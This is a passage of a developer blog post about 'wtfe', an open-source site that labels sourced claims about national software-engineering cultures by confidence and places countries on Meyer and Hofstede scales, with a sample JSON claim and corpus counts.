&lt;p&gt;Here is Japan's feedback and code review section:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa1jncdrvyykp55lnza70.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa1jncdrvyykp55lnza70.png" alt="Japan's feedback section on wtfe: three claims labeled THIN with dashed rules, and one WELL ATTESTED claim about Hacobell and Future labelling review comments must, imo and nits, with its two sources expanded" width="800" height="858"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The stereotype is there, as &lt;code&gt;jp-feedback-1&lt;/code&gt;, and it is thin: both sources are a language school's blog and a book review. The only well-attested claim in the section is that two Japanese companies, Hacobell and Future, publish review rules that tag each comment with how strong it is (&lt;code&gt;must&lt;/code&gt;, &lt;code&gt;imo&lt;/code&gt;, &lt;code&gt;nits&lt;/code&gt;). That is a company describing its own practice, so it gets the top label.&lt;/p&gt;

&lt;p&gt;The same framework gets different labels depending on who you read it through. Germany's line on Meyer's Evaluating scale (&lt;code&gt;de-feedback-1&lt;/code&gt;) cites a copy of Meyer's own chart and is Attested. Japan's line on the same scale cites summaries of the book and is Thin.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kr-design-1&lt;/code&gt; is Thin and dated, a single 2013 column:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A 2013 ZDNet Korea column argued that the ppalli-ppalli ("hurry, hurry") culture leads to poor knowledge sharing, architectures that do not scale and dependence on particular developers, and so ends up slowing software development.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Counting the corpus
&lt;/h2&gt;

&lt;p&gt;Claims live in JSON, one file per country per language, validated with zod:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"jp-feedback-4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Hacobell and Future publish review practices that mark how strong a comment is with labels such as must, imo and nits. Hacobell reports that this raised its team's psychological safety and development efficiency."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"confidence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"strong"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"sources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Hacobell: Raising psychological safety just by labelling code review comments"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://zenn.dev/hacobell_dev/articles/code-review-comment-prefix"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"year"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2023&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Future: Code review guidelines"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://future-architect.github.io/arch-guidelines/documents/forCodeReview/code_review.html"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;strong&lt;/code&gt; / &lt;code&gt;medium&lt;/code&gt; / &lt;code&gt;weak&lt;/code&gt; in the data render as Well attested / Attested / Thin on the page. I counted the English files at commit &lt;code&gt;993bb94&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;303 claims
  strong (Well attested)   87
  medium (Attested)       175
  weak   (Thin)            41
  dated (newest source &amp;lt; 2016)  35
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The validator checks the schema, that each claim id matches its country and theme, that the Japanese and English files have the same structure, and that no Japanese text is left in the English files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ REQUIRE_EN=1 node scripts/validate-data.ts
ok: 14 ja, 14 en, 14 meta
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Japanese is written first and English is translated from it. A weekly lychee job checks every source URL, and dead ones get fixed or swapped for an archived copy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scales, with their provenance
&lt;/h2&gt;

&lt;p&gt;The scale pages place each country on Meyer's eight Culture Map scales and Hofstede's six dimensions. Meyer positions are on a coarse seven-step grid, because that is about as precise as reading her charts gets. A filled dot was read off Meyer's own chart; a hollow dot came from reviews and summaries. On the home page, South Korea's Trusting position is hollow.&lt;/p&gt;

&lt;p&gt;Hofstede values are the current ones from The Culture Factor. Older tables are still copied around the web, and some numbers moved a lot. The method page lists a few:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Country&lt;/th&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Older table&lt;/th&gt;
&lt;th&gt;Current&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;South Korea&lt;/td&gt;
&lt;td&gt;Individualism&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;58&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Germany&lt;/td&gt;
&lt;td&gt;Individualism&lt;/td&gt;
&lt;td&gt;67&lt;/td&gt;
&lt;td&gt;79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Germany&lt;/td&gt;
&lt;td&gt;Long-term orientation&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Japan's individualism went from 46 to 62, which is noted on the Japan page, since "Japan is strongly collectivist" depends on which edition you quote.&lt;/p&gt;

&lt;p&gt;Compare pages take an ordered pair. &lt;code&gt;jp-vs-de&lt;/code&gt; reads Germany from Japan and sorts by the largest gap:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbgkdpa4p6v707o3efwu1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbgkdpa4p6v707o3efwu1.png" alt="Hofstede rulers on the jp-vs-de compare page: Germany scores 43 points lower than Japan on long-term orientation, 29 lower on motivation towards achievement, 27 lower on uncertainty avoidance, 19 lower on power distance, 17 higher on individualism, and 2 lower on indulgence" width="800" height="775"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What it is not
&lt;/h2&gt;

&lt;p&gt;Taras, Steel and Kirkman (2016) found that roughly 80% of the variance in cultural values is within countries, not between them. Every country page opens with its own spread before any claim. For Japan, that includes the gap between system integrators and web companies, the "masakari" culture of blunt online criticism, and the fact that the Stack Overflow 2024 survey had 286 responses from Japan.&lt;/p&gt;

&lt;p&gt;Corrections are welcome, especially from people working in these countries. Open an issue with the claim id (for example &lt;code&gt;de-hierarchy-2&lt;/code&gt;) and a public source. Claims without a public source are not accepted.&lt;/p&gt;

&lt;p&gt;Source and issues: &lt;a href="https://github.com/0-draft/wtfe" rel="noopener noreferrer"&gt;https://github.com/0-draft/wtfe&lt;/a&gt;&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>career</category>
      <category>culture</category>
      <category>astro</category>
    </item>
  </channel>
</rss>
